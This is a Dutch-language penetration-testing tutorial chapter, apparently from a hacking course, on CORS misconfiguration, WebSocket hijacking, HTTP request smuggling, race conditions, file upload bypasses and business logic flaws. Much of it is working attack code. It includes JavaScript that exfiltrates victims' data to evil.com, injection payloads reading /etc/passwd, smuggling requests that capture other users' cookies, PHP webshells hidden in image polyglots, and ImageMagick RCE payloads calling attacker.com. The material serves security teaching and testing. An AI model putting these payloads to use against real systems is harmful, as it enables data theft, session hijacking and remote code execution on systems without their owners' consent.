CertifiedHacker

CORS, WebSockets, Request Smuggling en Business Logic

CORS misconfiguratie, WebSocket hijacking, HTTP Request Smuggling, Race Conditions, File Upload bypass en Business Logic flaws.

CORS, WebSockets, Request Smuggling en Business Logic

CORS: het vertrouwensprobleem van de browser

Ergens in de late jaren negentig, toen het web nog jong was en iedereen nog dacht dat de browser een veilige omgeving was — wat achteraf gezien hetzelfde niveau van naiviteit vertegenwoordigt als geloven dat een hangslot voldoende is om een fietsenrek in Amsterdam te beveiligen — bedachten browserleveranciers het Same-Origin Policy. Het idee was simpel: JavaScript op domein A mag geen requests maken naar domein B. Veilig. Logisch. En vrijwel onmiddellijk een probleem zodra iemand een mashup wilde bouwen.

CORS — Cross-Origin Resource Sharing — was de oplossing. Het stelt servers in staat om expliciet aan te geven welke andere domeinen requests mogen maken. De server stuurt een Access-Control-Allow-Origin header mee, en de browser beslist op basis daarvan of het JavaScript de response mag lezen.

Het probleem is niet het concept. Het probleem is de implementatie. Want ontwikkelaars zijn creatieve wezens, en wanneer CORS hun API-calls blokkeert, zoeken ze de snelste oplossing — die vrijwel altijd de onveiligste is.

CORS testen

# Stap 1: Stuur een request met een vreemde Origin
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user

# Controleer de response headers:
# GEVAARLIJK:
# Access-Control-Allow-Origin: https://evil.com   (reflecteert de input!)
# Access-Control-Allow-Credentials: true           (cookies worden meegestuurd!)

# Stap 2: Test variaties
curl -s -I -H "Origin: null" https://target.com/api/user
curl -s -I -H "Origin: https://target.com.evil.com" https://target.com/api/user
curl -s -I -H "Origin: https://evil-target.com" https://target.com/api/user
curl -s -I -H "Origin: https://subdomain.target.com" https://target.com/api/user

# Stap 3: Check wildcard
# Als Access-Control-Allow-Origin: * EN Allow-Credentials: true
# Dan is er een fundamenteel probleem (browsers blokkeren dit overigens)

CORS exploitatie

Als de server de Origin header reflecteert én credentials toestaat, kun je data stelen vanuit de browser van het slachtoffer:

// Plaats dit op evil.com
// Als het slachtoffer evil.com bezoekt terwijl het is ingelogd op target.com:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    // Stuur de gestolen data naar de aanvaller
    var exfil = new XMLHttpRequest();
    exfil.open('POST', 'https://evil.com/collect');
    exfil.send(xhr.responseText);
  }
};
xhr.open('GET', 'https://target.com/api/user/profile');
xhr.withCredentials = true;  // Stuur cookies mee
xhr.send();

Het resultaat: de aanvaller leest het profiel van het slachtoffer, inclusief naam, email, en alles wat de API teruggeeft. Dit is effectief een stored XSS die niet op het doelwit zelf draait maar dezelfde impact heeft.

Veelvoorkomende CORS-misconfiguraties

PatroonRisico
Origin reflectie (echo back)Hoog: elk domein kan data lezen
null origin toegestaanHoog: sandboxed iframes sturen null
Regex bypass (target.com matcht evil-target.com)Hoog: subdomain-like domeinen
Wildcard (*) zonder credentialsLaag: geen cookies, maar publieke data lekt
Pre-flight cache te langMedium: configuratiewijzigingen duren lang

WebSocket Security

WebSockets zijn de achterdeur van het web. Terwijl HTTP request-response communicatie is — je vraagt, de server antwoordt, de verbinding sluit — zijn WebSockets een permanent open kanaal. De browser en de server praten continu met elkaar, in beide richtingen. Het is als het verschil tussen briefpost (HTTP) en een telefoongesprek (WebSocket).

En net als bij een telefoongesprek: als iemand de lijn kan aftappen, hoort hij alles.

WebSocket handshake

Een WebSocket-verbinding begint als een gewoon HTTP-request — de “upgrade” handshake:

GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Cookie: session=abc123...

Na de handshake is de verbinding open. Berichten gaan heen en weer in frames, niet in HTTP-requests. Burp Suite kan WebSocket-verkeer onderscheppen en wijzigen, maar het vereist een andere aanpak dan bij HTTP.

Cross-Site WebSocket Hijacking (CSWSH)

Dit is de CSRF-variant voor WebSockets. De handshake is een HTTP-request, en HTTP-requests sturen automatisch cookies mee. Als er geen extra validatie plaatsvindt (geen Origin-check, geen CSRF-token), kan een aanvaller een WebSocket-verbinding openen namens het slachtoffer:

// Op evil.com: open een WebSocket naar target.com
// De browser stuurt automatisch de session cookie mee
var ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
  // Stuur commando's alsof je het slachtoffer bent
  ws.send(JSON.stringify({action: 'get_messages'}));
};

ws.onmessage = function(event) {
  // Vang de response op
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: event.data
  });
};

WebSocket Injection

Berichten die via WebSockets binnenkomen worden door de server verwerkt. Dezelfde injection-kwetsbaarheden die bij HTTP bestaan, bestaan bij WebSockets:

# wscat: command line WebSocket client
wscat -c wss://target.com/ws -H "Cookie: session=TOKEN"

# SQLi via WebSocket
> {"action": "search", "query": "test' OR 1=1--"}

# XSS via WebSocket (als berichten aan andere gebruikers worden getoond)
> {"action": "send_message", "text": ""}

# Command Injection
> {"action": "ping", "host": "127.0.0.1; cat /etc/passwd"}

HTTP Request Smuggling

Request smuggling is een van de elegantste aanvallen in web security. Het exploiteert het feit dat een frontend (reverse proxy, CDN, load balancer) en een backend (applicatieserver) het soms oneens zijn over waar het ene HTTP-request eindigt en het volgende begint.

Stelt je een rij voor bij de douane. De douanier (frontend) controleert paspoorten en stuurt mensen door naar de balie (backend). Maar stel dat iemand twee mensen achter één paspoort verstopt. De douanier ziet één persoon; de balie ziet twee. De tweede persoon glipt zonder controle door.

Hoe het werkt

HTTP/1.1 heeft twee manieren om de lengte van een request body aan te geven: Content-Length en Transfer-Encoding: chunked. Als een request beide headers bevat, en de frontend de ene gebruikt terwijl de backend de andere gebruikt, dan interpreteren ze het request anders. Het restant van het eerste request wordt het begin van het volgende request — het gesmokkelde verzoek.

CL.TE (Content-Length / Transfer-Encoding)

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0\r\n
\r\n
SMUGGLED

# Frontend leest Content-Length: 13 bytes (inclusief "0\r\n\r\nSMUGGLED")
# Backend leest Transfer-Encoding: "0\r\n" = einde
# "SMUGGLED" wordt het begin van het volgende request

TE.CL (Transfer-Encoding / Content-Length)

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8\r\n
SMUGGLED\r\n
0\r\n
\r\n

# Frontend leest Transfer-Encoding: alle chunks tot "0"
# Backend leest Content-Length: 3 bytes ("8\r\n")
# De rest ("SMUGGLED...") wordt het volgende request

Detectie

# Burp Suite: HTTP Request Smuggler extensie (James Kettle)
# Detecteert automatisch CL.TE, TE.CL en TE.TE varianten

# smuggler.py
python3 smuggler.py -u https://target.com

# Handmatige detectie: timing-based
# Stuur een CL.TE payload; als de backend langer dan normaal wacht
# op het "volgende request", is smuggling mogelijk

Exploitatie: wat kun je ermee?

  • Andere gebruikers’ requests kapen — het gesmokkelde request vangt het volgende request op van een andere gebruiker, inclusief hun cookies en tokens.
  • Cache poisoning — het gesmokkelde request wijzigt de cache-entry die andere gebruikers krijgen.
  • WAF bypass — de WAF ziet het onschuldige eerste request; het kwaadaardige gesmokkelde request glipt er achterlangs.
  • On-site redirect — redirect andere gebruikers naar een aanvaller-gecontroleerd domein.

Race Conditions

Een race condition treedt op wanneer het resultaat van een operatie afhangt van de timing van events, en die timing niet correct wordt gecontroleerd. In webapplicaties betekent dit: stuur hetzelfde request tientallen keren tegelijk, en kijk of de server ze allemaal onafhankelijk verwerkt terwijl hij dat niet zou moeten doen.

Veelvoorkomende doelen

# Coupon code meerdere keren inwisselen
for i in $(seq 1 50); do
  curl -s -X POST https://target.com/api/redeem \
    -H "Cookie: session=TOKEN" \
    -d "code=KORTING50" &
done
wait

# Geld overmaken (double-spend)
# Stuur 50 gelijktijdige verzoeken om EUR 100 over te maken
# Als de balanscheck niet atomic is, kan het saldo negatief worden

# Cadeaukaart activeren
# Activeer dezelfde kaart tegelijk op twee accounts

# Like/vote meerdere keren tellen
# Rate limit bypass via race condition

Turbo Intruder (Burp extensie)

Turbo Intruder kan requests bundelen in een “single-packet attack” — meerdere HTTP-requests in één TCP-pakket. Dit minimaliseert de tijdsverschil tussen de requests tot vrijwel nul.

# Turbo Intruder script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1)
    for i in range(50):
        engine.queue(target.req, gate='race')
    engine.openGate('race')  # Alle 50 tegelijk!

def handleResponse(req, interesting):
    table.add(req)

File Upload kwetsbaarheden

File upload-functionaliteit is een mijnenveld. Elke bestandsupload is potentieel een webshell, een XSS-vector, of een denial-of-service. De verdediging bestaat uit lagen: extensie-filtering, MIME-type validatie, magic byte controle, antivirusscan, en opslag buiten de webroot. Als één laag faalt, ben je afhankelijk van de volgende.

Bypass technieken

# Extensie bypass
shell.php.jpg          # Dubbele extensie
shell.php%00.jpg       # Null byte (oudere servers)
shell.pHp              # Case variatie
shell.php5             # Alternatieve extensie
shell.phtml            # Apache variant
shell.phar             # PHP archive
shell.php::$DATA       # Windows NTFS alternate data stream

# Content-Type bypass
# Upload een PHP file maar wijzig Content-Type naar image/jpeg in Burp

# Magic byte bypass
# Voeg geldige afbeelding-magic bytes toe aan het begin van een PHP file
GIF89a;                # GIF magic bytes
<?php system($_GET['cmd']); ?>

# SVG met JavaScript (stored XSS)
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

# .htaccess upload (Apache)
AddType application/x-httpd-php .jpg
# Nu worden .jpg bestanden als PHP uitgevoerd

# Polyglot: bestand dat zowel een geldige JPEG als geldige PHP is
# exiftool kan PHP code in EXIF-metadata injecteren
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg
mv photo.jpg photo.php.jpg

Waar wordt het bestand opgeslagen?

# Na upload: zoek de URL van het geüploade bestand
# Vaak: /uploads/filename.ext of /media/filename.ext

# Test of je het bestand kunt uitvoeren
curl https://target.com/uploads/shell.php?cmd=id

# Als de upload-directory buiten de webroot is:
# Zoek naar path traversal in de bestandsnaam
# Filename: ../../../var/www/html/shell.php

Business Logic Flaws

Business logic flaws zijn de kwetsbaarheden die geen scanner kan vinden. Ze zijn niet technisch — de code werkt precies zoals geschreven. Het probleem is dat de bedrijfslogica omzeild kan worden op manieren die de ontwikkelaar niet heeft voorzien.

Het is het verschil tussen een slot dat gekraakt kan worden (technische kwetsbaarheid) en een deur die open staat omdat niemand bedacht had dat iemand via het raam zou binnenkomen (logische kwetsbaarheid).

Veelvoorkomende patronen

PatroonVoorbeeldTest
Negatieve waardenBestel -1 item = crediteringStuur negatieve aantallen/bedragen
Stappen overslaanGa direct naar /checkout/confirmSkip stappen in multi-step processen
Parameter manipulatieWijzig prijs in verborgen form fieldWijzig prijs/korting in POST body
Coupon stackingMeerdere kortingscodes combinerenStuur meerdere coupon codes
Privilege via omwegVerander je role in een profiel-updateVoeg role/admin velden toe aan updates
TijdmanipulatieVerander trial-einddatumManipuleer datumvelden
Referral misbruikVerwijs jezelf met meerdere accountsTest referral systeem met eigen codes
# Voorbeeld: webshop prijs manipulatie
# Origineel request
POST /api/cart/add
{"product_id": 42, "quantity": 1, "price": 99.99}

# Manipulatie: prijs wijzigen
POST /api/cart/add
{"product_id": 42, "quantity": 1, "price": 0.01}

# Manipulatie: negatieve hoeveelheid
POST /api/cart/add
{"product_id": 42, "quantity": -10, "price": 99.99}

# Voorbeeld: checkout stappen overslaan
# Normaal: /cart → /shipping → /payment → /confirm
# Test: ga direct naar /confirm met een POST request
# Test: ga naar /payment en wijzig het totaalbedrag

Business logic testing vereist dat je begrijpt hoe de applicatie hoort te werken. Lees de documentatie. Gebruik de applicatie als een normale gebruiker. En stel jezelf dan de vraag: “Wat als ik dit stapje oversla? Wat als ik die waarde wijzig? Wat als ik dit twee keer doe?” Het is geen technisch hacking — het is creatief nadenken over hoe systemen falen wanneer mensen dingen doen die niet in het script staan.


Geavanceerde Request Smuggling

TE.TE: Transfer-Encoding obfuscation

Sommige servers verwerken Transfer-Encoding correct, maar zijn het niet eens over welke spelling ze accepteren. Door de Transfer-Encoding header te obfusceren, kun je een situatie creëren waarbij de frontend de ene variant accepteert en de backend de andere negeert.

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-encoding: identity

0

SMUGGLED REQUEST
# Variaties die soms werken:
# Transfer-Encoding : chunked     (spatie voor de colon)
# Transfer-Encoding: chunked\r\n  (extra line ending)
# Transfer-Encoding: \tchunked    (tab)
# Transfer-Encoding: x\nTransfer-Encoding: chunked (twee headers)
# X-Transfer-Encoding: chunked    (custom header die sommige proxies overnemen)

Request Smuggling: Credential Capture

De krachtigste exploitatie van request smuggling is het onderscheppen van requests van andere gebruikers:

# CL.TE smuggled request dat het volgende request van een ander opslaat
POST / HTTP/1.1
Host: target.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /api/save-note HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 500

note=

Het gesmokkelde request is een “save note” actie met een Content-Length die groter is dan de eigenlijke body. De server wacht op meer data en plakt het volgende request eraan vast — inclusief de cookies en headers van een andere gebruiker. Die worden opgeslagen als “notitie” die je later kunt uitlezen.


Geavanceerde Race Conditions

Single-packet attack

De meest effectieve race condition-aanval stuurt alle requests tegelijk in een enkel TCP-pakket. Dit elimineert netwerkjitter als variabele — alle requests arriveren op exact hetzelfde moment.

# Turbo Intruder (Burp extensie) configuratie
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=50,
        pipeline=False
    )

    # Queue 50 identieke requests
    for i in range(50):
        engine.queue(target.req, gate='race')

    # Open de gate: alle 50 requests tegelijk
    engine.openGate('race')

def handleResponse(req, interesting):
    if req.status == 200:
        table.add(req)

Time-of-check to time-of-use (TOCTOU)

# Scenario: coupon code die maar 1x gebruikt mag worden
# De applicatie doet:
# 1. CHECK: is coupon al gebruikt? (SELECT)
# 2. USE: markeer als gebruikt (UPDATE)
# 3. APPLY: pas korting toe

# Tussen stap 1 en 2 zit een tijdvenster
# Als je 50 requests tegelijk stuurt, passeren ze allemaal stap 1
# voordat stap 2 de eerste heeft verwerkt

# Detectie: vergelijk het aantal succesvolle responses
# 1 request = 1 korting (correct)
# 50 gelijktijdige requests = 50x korting (race condition!)

Geavanceerde File Upload Exploitatie

Image Tragick (ImageMagick RCE)

# Als de server ImageMagick gebruikt voor image processing:
# CVE-2016-3714 en varianten

# payload.svg:
<image xlink:href="https://attacker.com/x.png||id > /tmp/rce.txt" />

# payload.mvg (ImageMagick):
push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com/"|id > /tmp/rce.txt")'
pop graphic-context

# Upload als afbeelding en controleer of het commando is uitgevoerd

ZIP Slip (path traversal via archieven)

# Maak een ZIP met een pad-traversal bestandsnaam
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr('../../../var/www/html/shell.php', '')
"

# Upload de ZIP naar een functie die bestanden uitpakt
# Als de server de bestandsnamen niet sanitiseert:
# shell.php wordt geschreven naar /var/www/html/

Polyglot bestanden

# Een bestand dat zowel een geldige JPEG als geldige PHP is
# De JPEG-magic bytes zorgen dat het de content-type check passeert
# De PHP-code wordt uitgevoerd als de server het als PHP interpreteert

# Methode 1: EXIF comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legitimate.jpg
cp legitimate.jpg shell.php.jpg

# Methode 2: Handmatig
printf '\xff\xd8\xff\xe0' > polyglot.php.jpg  # JPEG SOI marker
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg

# Methode 3: GIF89a
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php

Op de hoogte blijven?

Ontvang nieuwe hoofdstukken en updates per e-mail.